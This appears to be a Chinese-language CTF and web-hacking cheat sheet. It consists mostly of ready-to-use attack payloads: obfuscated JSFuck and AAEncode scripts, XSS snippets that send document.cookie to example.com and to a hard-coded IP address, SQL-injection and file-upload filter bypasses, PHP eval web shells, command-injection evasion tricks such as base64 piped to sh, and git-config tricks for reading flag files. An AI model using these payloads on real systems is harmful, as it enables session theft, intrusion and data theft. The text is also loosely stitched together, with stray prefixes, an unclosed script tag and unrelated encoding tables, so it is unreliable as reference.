+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])</script>
php<script>゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+/*´∇`*/(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+((o^_^o) - (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+(゚ー゚)+(゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+(c^_^o)+(゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+(゚Θ゚)+(゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+(゚Θ゚)+(゚Д゚)[゚o゚]) (゚Θ゚)) ('_');</script
使用 Fetch API 发送 POST 请求
php// 获取本地的 cookie
const cookies = document.cookie;
// 发送 POST 请求
fetch('https://example.com/api', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ cookies: cookies })
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));
使用 Fetch API 发送 GET 请求
php// 获取本地的 cookie
const cookies = document.cookie;
// 发送 GET 请求
fetch(`https://example.com/api?cookies=${encodeURIComponent(cookies)}`, {
method: 'GET',
headers: {
'Content-Type': 'application/json',
}
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));
使用 XMLHttpRequest 发送 POST 请求
php// 获取本地的 cookie
const cookies = document.cookie;
// 创建 XMLHttpRequest 对象
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://example.com/api', true);
xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');
// 处理响应
xhr.onload = function() {
if (xhr.status >= 200 && xhr.status < 300) {
console.log(JSON.parse(xhr.responseText));
} else {
console.error('Error:', xhr.statusText);
}
};
// 发送请求
xhr.send(JSON.stringify({ cookies: cookies }));
使用 XMLHttpRequest 发送 GET 请求
php// 获取本地的 cookie
const cookies = document.cookie;
// 创建 XMLHttpRequest 对象
const xhr = new XMLHttpRequest();
xhr.open('GET', `https://example.com/api?cookies=${encodeURIComponent(cookies)}`, true);
xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');
// 处理响应
xhr.onload = function() {
if (xhr.status >= 200 && xhr.status < 300) {
console.log(JSON.parse(xhr.responseText));
} else {
console.error('Error:', xhr.statusText);
}
};
// 发送请求
xhr.send();
php<script>
fetch(`http://120.53.86.156:2345?cookie=${encodeURIComponent(document.cookie)}`);
</script>
php空格绕过:
/**/
%09 //tab键
%0a
()
^ //异或
引号绕过:
hex编码 //mysql可解析hex 编码赋值
例:
select group_concat(column_name) from information_schema.columns where table_name=0x7573657273
逗号绕过
substr(database(),0,1) = substr(database() from 0 for 1)
<>大小于号绕过:
= //可用=去猜 like 可替换 =
greatest(ascii(substr(database(),0,1)),100) 返回最大值
LEAST(1,2) 返回1 返回最小值
注释符绕过:
;%00 //;表示语句结尾 %00表示截断后面的字符
例:
1'union+select+1,database();%00
双写绕过
大小写绕过
过滤了select
//查表
-1';show tables%23
//查字段
-1';show columns from `user`%23
//查数据
-1';handler `1919810931114514` open as toert;handler toert read next%23
php结尾注释符绕过
Mysql 中常见的注释符
SQL
、# %23 --+或-- - ;%00
如果所有的注释符全部被过滤了,把我们还可以尝试直接使用引号进行闭合,这种方
法很好用。
字符串变换绕过
SQL
# 大小写绕过
-1' UnIoN SeLeCt 1,2,database()--+
# 双写绕过
-1' uniunionon selselectect 1,2,database()--+
# 字符串拼接绕过
1';set @a=concat("sel","ect * from users");prepare sql from
@a;execute sql;
过滤 and、or 绕过
管道符
SQL
and => &&
or => ||
使用^进行异或盲注绕过
> 异或运算规则:
>
> 1^1=0 0^0=0 0^1=1
>
> 1^1^1=0 1^1^0=0
>
> 构造 payload:'^ascii(mid(database(),1,1)=98)^0
>
>
>
注意这里会多加一个^0 或 1 是因为在盲注的时候可能出现了语法错误也无法判断,而改
变这里的 0 或 1,如果返回的结果是不同的,那就可以证明语法是没有问题的.
过滤空格绕过
以下字符可以代替空格:
SQL
# 使用注释符/**/代替空格:
select/**/database();
# 使用加号+代替空格:(只适用于 GET 方法中)
select+database();
# 注意: 加号+在 URL 中使⽤记得编码为%2B: select%2Bdatabase(); (python
中不用)
# 使⽤括号嵌套:
select(group_concat(table_name))from(information_schema.taboles)wh
ere(tabel_schema=database());
# 使⽤其他不可⻅字符代替空格:
%09, %0a, %0b, %0c, %0d, %a0
#利用``分隔进行绕过
select host,user from user where
user='a'union(select`table_name`,`table_type`from`information_sche
ma`.`tables`);
同时任然可以利用异或符号进行盲注,我 i 们可以看到上面的 payload 中完全可以不存
在空格。
过滤括号绕过
利用 order by 进行布尔盲注
上面有
过滤比较符号(=、<、>)绕过
比较符号一般也只出现在盲注中,所以都尽可能搭配了脚本。
php文件头绕过:GIF89a
文件类型绕过:content-type: image/jpeg
无<?一句话 <script language="php">eval($_POST[a]);</script>
黑名单:大小写、php3、php4、php5、phtml、.htaccess等绕过
无php一句话:<?=@eval($_POST['a']);?>
白名单绕过:图片马+文件包含 copy 1.png/b + 1.php/a 2.png
中间件漏洞:(post不会url解码)
%00截断:a.php%00.jpg
上传目录可控
.htaccess
<FilesMatch "pte.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
竞争上传(upload-loabs18关)
<?php fputs(fopen('../shell.php','w'),'<?php eval($_POST['a']);?>');?>
phpls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sort|cut|xxd
php过滤了cat命令:
可以使用一下读文件命令:
cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n,显示时输出行号
tailf:类似于tail -f
sort%20/flag 读文件
od -a key.php //将文件内容以ASCII码的形式输出,并显示每个ASCII码对应的名字。这个命令可以帮助用户更好地理解文件内容,特别是文本文件
diff /flag.txt /etc/passwd
curl file:///flag
sed -n "p" /flag
bzless /flag
bzmore /flag
cd ..&& cd ..&&cd ..&&pwd&&more [^b][^b][^b][^b]
变量拼接读取文件:
拼接读取:
a=ke;b=y.php;cat $a$b
127.0.0.1;a=ke;b=y.php;cat ../$a$b
编码读取文件:
echo "Y2F0IGZsYWcucGhw" | base64 -d|sh
过滤了空格可用以下代替:
$IFS代替空格
$IFS$9
%09 urr编码tab键
windows系统,代替空格
$^ 表示所有的依赖文件
$@ 表示生成的目标文件
$< 代表第一个依赖文件
通配符、转义符绕过过滤:?号代表单个字符 *代表多个字符
c'a't key.php
c"a"t key.php
c\at key.*
cat `ls`
cat${IFS}flag.txt
cat$IFS$1flag.txt
cat${IFS}$1flag.txt
cat${IFSflag.txt
cat<flag.txt
cat<>flag.txt
cat%09flag.txt
写入一句话:
echo "<?php eval(\$_POST['a']);?>" > a.php //\转义$符
编码写入:
"<?php eval($_POST['a']);?>
echo "PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4="|base64 -d|tee a.php
写入一句话:
echo "<?php eval(\$_POST['a']);?>" > a.php //\转义$符
过滤了flag关键字——内联执行反引号:
cat `ls` //打印当前目录下的所有文件内容
nl /*>a
虽然之前hitcon的题已经解释过了,这里再简单解释一下,nl是一个linux里读取文件内容的命令,/*就是根目录下的所有文件,>+fileanme来实现新建一个文件(>是覆盖,>>是追加),所以我这行命令意思就是读取根目录下所有文件并导入文件a种,然后访问6574a4b0-8acb-4f2d-a23c-45bc408ed17a.challenge.ctf.show/api/a即可拿到flag
git init //初始化一个git仓库 git config --global user.email "" git config --global user.name "" //配置用户设置。配置后才能执行commit git config -f .gitconfig core.hooksPath hooks //告诉git使用配置在hooks目录下的文件作为hook git config --local alias.pre-commit '!echo $(cat /flag-*)' //设置一个alias pre-commit,其运行时会打印flag文件的内容 git config --local include.path ../.gitconfig //加载刚才配置好的gitconfig git pre-commit //运行触发hook
不使用hook
git config --global user.email "" git config --global user.name "" git init .. //此题flag在上层目录,于是把仓库init到上层目录 git add ../flag* //添加flag文件 git commit -m 'a' git show ../flag* //展示commit的文件,也就是flag
cat /flag* >&2
获取flaggit --git-dir '.;bash;' init git init git add . git config --global user.email '' git config --global user.name '' git commit --allow-empty-message -m '' git cache-meta --store git cache-meta --apply
git init ../ git config --global user.email "" git add --ignore-errors ../flag* git commit -m "" git show
git clone https://github.com/[REDACTED]/[REDACTED] git -C [REDACTED] -c core.pager="cat /flag* # " grep --open-files-in-pager
git仓库里至少要有一个文件才能运行以上命令(这也是为什么开头要git clone)。要是在服务器上已知一个文件,可以git init;git add
,一样的效果。
`-C` is a flag used to run a command in a specific directory. In this case, it specifies that the following command should be run in the directory specified by `[REDACTED]`. `-c` is a flag used to set a Git configuration variable. In this case, it sets the `core.pager` variable to `"cat /flag* # "`, which means that any Git command that would normally display output in a pager (such as less or more) will instead display the contents of any files that match the pattern `/flag*` followed by a comment character (#). grep is a command used to search for a pattern in a file. In this case, the `--open-files-in-pager` flag tells Git to use the pager specified by the `core.pager` variable (which we set to `cat /flag* #` ) to display any files that match the pattern specified by the grep command
git config --global alias.bruh '!cat /flag-*' git bruh
First create the local repository git init Then allow files outside: git config --local core.worktree / Add the flag file: git add "/flag*" (optional) list if the file was added correctly git ls-files / Get the hash of the file git cat-file --batch-check --batch-all-objects Commit the file git commit List the contents of the flag file :) git show <hash>
类似题目:GitMeow
本地运行一个host服务器,然后把payload传给题目:https://github.com/TJCSec/tjctf-2023-challenges/tree/main/misc/gish
php在电子邮件末尾添加空字节 ( %00 ) 有时可以绕过限制。
尝试在电子邮件后添加空格字符。(未编码)
一些有助于绕过速率限制的常用字符:%0d、%2e、%09、%20、%0、%00、%0d%0a、%0a、%0C
比如email=abc@g.com,a&password=password123
在 api 地址末尾添加斜杠(/)也可以绕过限制。
http://target/v1/login————>http://target/v1/login/
$ man ascii Oct Dec Hex Char Oct Dec Hex Char ──────────────────────────────────────────────────────────────────────── 000 0 00 NUL '\0' (null character) 100 64 40 @ 001 1 01 SOH (start of heading) 101 65 41 A 002 2 02 STX (start of text) 102 66 42 B 003 3 03 ETX (end of text) 103 67 43 C 004 4 04 EOT (end of transmission) 104 68 44 D 005 5 05 ENQ (enquiry) 105 69 45 E 006 6 06 ACK (acknowledge) 106 70 46 F 007 7 07 BEL '\a' (bell) 107 71 47 G 010 8 08 BS '\b' (backspace) 110 72 48 H 011 9 09 HT '\t' (horizontal tab) 111 73 49 I 012 10 0A LF '\n' (new line) 112 74 4A J 013 11 0B VT '\v' (vertical tab) 113 75 4B K 014 12 0C FF '\f' (form feed) 114 76 4C L 015 13 0D CR '\r' (carriage ret) 115 77 4D M 016 14 0E SO (shift out) 116 78 4E N 017 15 0F SI (shift in) 117 79 4F O 020 16 10 DLE (data link escape) 120 80 50 P 021 17 11 DC1 (device control 1) 121 81 51 Q 022 18 12 DC2 (device control 2) 122 82 52 R 023 19 13 DC3 (device control 3) 123 83 53 S 024 20 14 DC4 (device control 4) 124 84 54 T 025 21 15 NAK (negative ack.) 125 85 55 U 026 22 16 SYN (synchronous idle) 126 86 56 V 027 23 17 ETB (end of trans. blk) 127 87 57 W 030 24 18 CAN (cancel) 130 88 58 X 031 25 19 EM (end of medium) 131 89 59 Y 032 26 1A SUB (substitute) 132 90 5A Z 033 27 1B ESC (escape) 133 91 5B [ 034 28 1C FS (file separator) 134 92 5C \ '\\' 035 29 1D GS (group separator) 135 93 5D ] 036 30 1E RS (record separator) 136 94 5E ^ 037 31 1F US (unit separator) 137 95 5F _ 040 32 20 SPACE 140 96 60 ` 041 33 21 ! 141 97 61 a 042 34 22 " 142 98 62 b 043 35 23 # 143 99 63 c 044 36 24 $ 144 100 64 d 045 37 25 % 145 101 65 e 046 38 26 & 146 102 66 f 047 39 27 ' 147 103 67 g 050 40 28 ( 150 104 68 h 051 41 29 ) 151 105 69 i 052 42 2A * 152 106 6A j 053 43 2B + 153 107 6B k 054 44 2C , 154 108 6C l 055 45 2D - 155 109 6D m 056 46 2E . 156 110 6E n 057 47 2F / 157 111 6F o 060 48 30 0 160 112 70 p 061 49 31 1 161 113 71 q 062 50 32 2 162 114 72 r 063 51 33 3 163 115 73 s 064 52 34 4 164 116 74 t 065 53 35 5 165 117 75 u 066 54 36 6 166 118 76 v 067 55 37 7 167 119 77 w 070 56 38 8 170 120 78 x 071 57 39 9 171 121 79 y 072 58 3A : 172 122 7A z 073 59 3B ; 173 123 7B { 074 60 3C < 174 124 7C | 075 61 3D = 175 125 7D } 076 62 3E > 176 126 7E ~ 077 63 3F ? 177 127 7F DEL Tables For convenience, below are more compact tables in hex and decimal. 2 3 4 5 6 7 30 40 50 60 70 80 90 100 110 120 ------------- --------------------------------- 0: 0 @ P ` p 0: ( 2 < F P Z d n x 1: ! 1 A Q a q 1: ) 3 = G Q [ e o y 2: " 2 B R b r 2: * 4 > H R \ f p z 3: # 3 C S c s 3: ! + 5 ? I S ] g q { 4: $ 4 D T d t 4: " , 6 @ J T ^ h r | 5: % 5 E U e u 5: # - 7 A K U _ i s } 6: & 6 F V f v 6: $ . 8 B L V ` j t ~ 7: ' 7 G W g w 7: % / 9 C M W a k u DEL 8: ( 8 H X h x 8: & 0 : D N X b l v 9: ) 9 I Y i y 9: ' 1 ; E O Y c m w A: * : J Z j z B: + ; K [ k { C: , < L \ l | D: - = M ] m } E: . > N ^ n ~ F: / ? O _ o DEL
浏览器将根据页面中使用的字符集对输入进行编码。
HTML5 中的默认字符集为 UTF-8。
字符 | 来自 Windows-1252 | 来自 UTF-8 |
---|---|---|
space | %20 | %20 |
! | %21 | %21 |
" | %22 | %22 |
# | %23 | %23 |
$ | %24 | %24 |
% | %25 | %25 |
& | %26 | %26 |
' | %27 | %27 |
( | %28 | %28 |
) | %29 | %29 |
* | %2A | %2A |
+ | %2B | %2B |
, | %2C | %2C |
- | %2D | %2D |
. | %2E | %2E |
/ | %2F | %2F |
0 | %30 | %30 |
1 | %31 | %31 |
2 | %32 | %32 |
3 | %33 | %33 |
4 | %34 | %34 |
5 | %35 | %35 |
6 | %36 | %36 |
7 | %37 | %37 |
8 | %38 | %38 |
9 | %39 | %39 |
: | %3A | %3A |
; | %3B | %3B |
< | %3C | %3C |
= | %3D | %3D |
> | %3E | %3E |
? | %3F | %3F |
@ | %40 | %40 |
A | %41 | %41 |
B | %42 | %42 |
C | %43 | %43 |
D | %44 | %44 |
E | %45 | %45 |
F | %46 | %46 |
G | %47 | %47 |
H | %48 | %48 |
I | %49 | %49 |
J | %4A | %4A |
K | %4B | %4B |
L | %4C | %4C |
M | %4D | %4D |
N | %4E | %4E |
O | %4F | %4F |
P | %50 | %50 |
Q | %51 | %51 |
R | %52 | %52 |
S | %53 | %53 |
T | %54 | %54 |
U | %55 | %55 |
V | %56 | %56 |
W | %57 | %57 |
X | %58 | %58 |
Y | %59 | %59 |
Z | %5A | %5A |
[ | %5B | %5B |
\ | %5C | %5C |
] | %5D | %5D |
^ | %5E | %5E |
_ | %5F | %5F |
` | %60 | %60 |
a | %61 | %61 |
b | %62 | %62 |
c | %63 | %63 |
d | %64 | %64 |
e | %65 | %65 |
f | %66 | %66 |
g | %67 | %67 |
h | %68 | %68 |
i | %69 | %69 |
j | %6A | %6A |
k | %6B | %6B |
l | %6C | %6C |
m | %6D | %6D |
n | %6E | %6E |
o | %6F | %6F |
p | %70 | %70 |
q | %71 | %71 |
r | %72 | %72 |
s | %73 | %73 |
t | %74 | %74 |
u | %75 | %75 |
v | %76 | %76 |
w | %77 | %77 |
x | %78 | %78 |
y | %79 | %79 |
z | %7A | %7A |
{ | %7B | %7B |
| | %7C | %7C |
} | %7D | %7D |
~ | %7E | %7E |
%7F | %7F | |
` | %80 | %E2%82%AC |
| %81 | %81 |
‚ | %82 | %E2%80%9A |
ƒ | %83 | %C6%92 |
„ | %84 | %E2%80%9E |
… | %85 | %E2%80%A6 |
† | %86 | %E2%80%A0 |
‡ | %87 | %E2%80%A1 |
ˆ | %88 | %CB%86 |
‰ | %89 | %E2%80%B0 |
Š | %8A | %C5%A0 |
‹ | %8B | %E2%80%B9 |
Œ | %8C | %C5%92 |
| %8D | %C5%8D |
Ž | %8E | %C5%BD |
| %8F | %8F |
| %90 | %C2%90 |
‘ | %91 | %E2%80%98 |
’ | %92 | %E2%80%99 |
“ | %93 | %E2%80%9C |
” | %94 | %E2%80%9D |
• | %95 | %E2%80%A2 |
– | %96 | %E2%80%93 |
— | %97 | %E2%80%94 |
˜ | %98 | %CB%9C |
™ | %99 | %E2%84 |
š | %9A | %C5%A1 |
› | %9B | %E2%80 |
œ | %9C | %C5%93 |
| %9D | %9D |
ž | %9E | %C5%BE |
Ÿ | %9F | %C5%B8 |
%A0 | %C2%A0 | |
¡ | %A1 | %C2%A1 |
¢ | %A2 | %C2%A2 |
£ | %A3 | %C2%A3 |
¤ | %A4 | %C2%A4 |
¥ | %A5 | %C2%A5 |
¦ | %A6 | %C2%A6 |
§ | %A7 | %C2%A7 |
¨ | %A8 | %C2%A8 |
© | %A9 | %C2%A9 |
ª | %AA | %C2%AA |
« | %AB | %C2%AB |
¬ | %AC | %C2%AC |
| %AD | %C2%AD |
® | %AE | %C2%AE |
¯ | %AF | %C2%AF |
° | %B0 | %C2%B0 |
± | %B1 | %C2%B1 |
² | %B2 | %C2%B2 |
³ | %B3 | %C2%B3 |
´ | %B4 | %C2%B4 |
µ | %B5 | %C2%B5 |
¶ | %B6 | %C2%B6 |
· | %B7 | %C2%B7 |
¸ | %B8 | %C2%B8 |
¹ | %B9 | %C2%B9 |
º | %BA | %C2%BA |
» | %BB | %C2%BB |
¼ | %BC | %C2%BC |
½ | %BD | %C2%BD |
¾ | %BE | %C2%BE |
¿ | %BF | %C2%BF |
À | %C0 | %C3%80 |
Á | %C1 | %C3%81 |
 | %C2 | %C3%82 |
à | %C3 | %C3%83 |
Ä | %C4 | %C3%84 |
Å | %C5 | %C3%85 |
Æ | %C6 | %C3%86 |
Ç | %C7 | %C3%87 |
È | %C8 | %C3%88 |
É | %C9 | %C3%89 |
Ê | %CA | %C3%8A |
Ë | %CB | %C3%8B |
Ì | %CC | %C3%8C |
Í | %CD | %C3%8D |
Î | %CE | %C3%8E |
Ï | %CF | %C3%8F |
Ð | %D0 | %C3%90 |
Ñ | %D1 | %C3%91 |
Ò | %D2 | %C3%92 |
Ó | %D3 | %C3%93 |
Ô | %D4 | %C3%94 |
Õ | %D5 | %C3%95 |
Ö | %D6 | %C3%96 |
× | %D7 | %C3%97 |
Ø | %D8 | %C3%98 |
Ù | %D9 | %C3%99 |
Ú | %DA | %C3%9A |
Û | %DB | %C3%9B |
Ü | %DC | %C3%9C |
Ý | %DD | %C3%9D |
Þ | %DE | %C3%9E |
ß | %DF | %C3%9F |
à | %E0 | %C3%A0 |
á | %E1 | %C3%A1 |
â | %E2 | %C3%A2 |
ã | %E3 | %C3%A3 |
ä | %E4 | %C3%A4 |
å | %E5 | %C3%A5 |
æ | %E6 | %C3%A6 |
ç | %E7 | %C3%A7 |
è | %E8 | %C3%A8 |
é | %E9 | %C3%A9 |
ê | %EA | %C3%AA |
ë | %EB | %C3%AB |
ì | %EC | %C3%AC |
í | %ED | %C3%AD |
î | %EE | %C3%AE |
ï | %EF | %C3%AF |
ð | %F0 | %C3%B0 |
ñ | %F1 | %C3%B1 |
ò | %F2 | %C3%B2 |
ó | %F3 | %C3%B3 |
ô | %F4 | %C3%B4 |
õ | %F5 | %C3%B5 |
ö | %F6 | %C3%B6 |
÷ | %F7 | %C3%B7 |
ø | %F8 | %C3%B8 |
ù | %F9 | %C3%B9 |
ú | %FA | %C3%BA |
û | %FB | %C3%BB |
ü | %FC | %C3%BC |
ý | %FD | %C3%BD |
þ | %FE | %C3%BE |
ÿ | %FF | %C3%BF |
shell识点:linux中使用$'xxx'(xxx为字符的八进制)的形式可以执行任意代码
$'\154\163' //执行ls
$'\143\141\164'<$'\57\146\154\141\147' // cat</flag
$IFS $IFS$1 ${IFS} $IFS$9 < 比如cat<a.tct:表示cat a.txt <> {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来 %20 %09 //php环境下
; //前面和后面命令都要执行,无论前面真假 | //直接执行后面的语句 || //如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句 & //前面和后面命令都要执行,无论前面真假 && //如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
a=who b=ami $a$b //输出whoami q=l; w=s; e=" -al"; $q$w$e //执行ls -al命令 a=c;b=at;c=fl;d=ag; $a$b $c$d //cat flag
//执行命令 cat flag /???/?[a]''[t] ?''?''?''?'' /???/?[a][t] ?''?''?''?'' cat f* cat fl[abc]g //匹配[abc]中的任何一个 cat f[a-z]ag //匹配a-z范围的任何字符 利用正则:比如要读取etc/passwd cat /???/?????? cat /???/pass* cat /etc$u/passwd //变量u未定义,则为空
例题
<?php error_reporting(0); highlight_file(__FILE__); if(isset($_POST['code'])){ $code=$_POST['code']; if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){ echo '<div align="center">'.'you are so long , I dont like '.'</div>'; } else{ echo '<div align="center">'.system($code).'</div>'; } } else{ echo '<div align="center">evil input</div>'; } } ?>
这次限制payload长度在65以内,上题我们payload达到99的长度,所以我们适当减少一下,我们就不取www-data中的at,只取a进行匹配,好家伙那我上题还想半天构造数字2(太菜了),尝试构造如下
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~A}? ????.??? 但发现长度是66还是超了,接着我们把${#}去掉,也是可以的,最终payload如下: code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
翻大佬博客时发现的姿势:
echo ${PATH} #/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin echo ${PATH:1:9} #/usr/local ${PATH:5:1}${PATH:2:1} #拼接后是ls,执行命令
用途:可执行文件的搜索路径。 用例:echo $PATH (路径通常是bin结尾)
要理解$PATH先来了解一下 bash中输入一个命令 计算机的处理过程
当输入一个命令时 Bash会自动生成一张哈希(hash)表 并且在这张哈希表中按照 PATH 变量中所列出的路径来搜索这个可执行命令。路径会存储在环境变量中,而$PATH 变量本身就一个以冒号分隔的目录列表。将目录添加至PATH变量是一种权宜之计。所以当命令脚本退出时 PATH将会恢复命令执行前的值(这是出于安全性的考虑)
当我们进行bash操作时当前目录不可避免地总是在变化的(cd来cd去)而$PATH 里面放置了一些固定的目录,这些目录是不会变化的。这样的话,当我们输入命令时,永远可以保证不会随着自己的位置改变,而导致出乎意料。
用途:工作目录(你当前所在的目录) 用例:echo $PWD 题目环境中肯定是/var/www/html
理解了$PATH PWD就很好理解了。这里不再详细赘述,而且就如上图所说,ctf的题目环境下当前所在的目录一定是var/www/html
$RANDOM
用途: 产生随机整数 范围在0 - 32767之间.
用例:echo ${#RANDOM}
首先补充一个知识点:linux中可以用 ${#变量}显示变量的长度
那么该用例的作用就很好懂了:输出一个范围在0~32767之间的随机整数的位数
用途:SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器 其默认初始值为1
用例 echo $SHLVL
用途:获取当前用户名
用例: echo ${#USER}
用途:获取当前php版本
用例:echo ${PHP_VERSION}
表示前一个工作目录
用户的 home 目录,一般是 /home/username。
主机名称
内部域分隔符。这个变量用来决定 Bash 在解释字符串时如何识别域,或者单词边界。 $IFS默认为空白(空格, 制表符,和换行符),但这是可以修改的,比如在分析逗号分隔的数据文件时,就可以设置为逗号。
Bash 的二进制程序文件的路径
系统上安装的 Bash 版本号
wh\o\ami //反斜线绕过 who"a"mi //双引号绕过 whoa'm'i //单引号绕过 whoam``i //反引号绕过 echo d2hvYW1p|base64 -d|sh //base64绕过,其中d2hvYW1p是whoami的base64编码 echo d2hvYW1p|base64 -d|bash //base64绕过,其中d2hvYW1p是whoami的base64编码 `echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令 echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码 //$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt //在没有传入参数的情况下,这些特殊字符默认为空,如下: wh$1oami //不带中括号只能用一个字符在$后面 who$@ami whoa$*mi whoa${66}mi //带中括号能用任意字符,但是字符内必须相同 whoa${hh}mi //不能带符号,会被解析成奇怪的东西
正则 (假设 /bin/cat: test: 是一个目录)
/???/?[a][t] ?''?''?''?'' /???/?at ???? /???/?[a]''[t] ?''?''?''?''
$# //是传给脚本的参数个数 $0 //是脚本本身的名字 $1 //是传递给该shell脚本的第一个参数 $2 //是传递给该shell脚本的第二个参数 $@ //是传给脚本的所有参数的列表 $* //是以一个单字符串显示所有向脚本传递的参数,与位置变量不同,参数可超过9个 $$ //是脚本运行的当前进程ID号 $? //是显示最后命令的退出状态,0表示没有错误,其他表示有错误
env
可查看所有环境变量
set
可查看本地定义的环境变量
PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD:/var/www/html
USER
HOME:当前用户的主目录
SHLVL:记录多个 Bash 进程实例嵌套深度的累加器,默认恒为1
PHP_VERSION:以7.3.22为例
$?:是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误
此处防止渲染失败使用了tab分隔,不过直接复制也不影响命令执行
bash${PATH:~0}或${PATH:~A}
获取字符n(0和字母都代表从最后面数)
${PWD:~0}
获取字符l
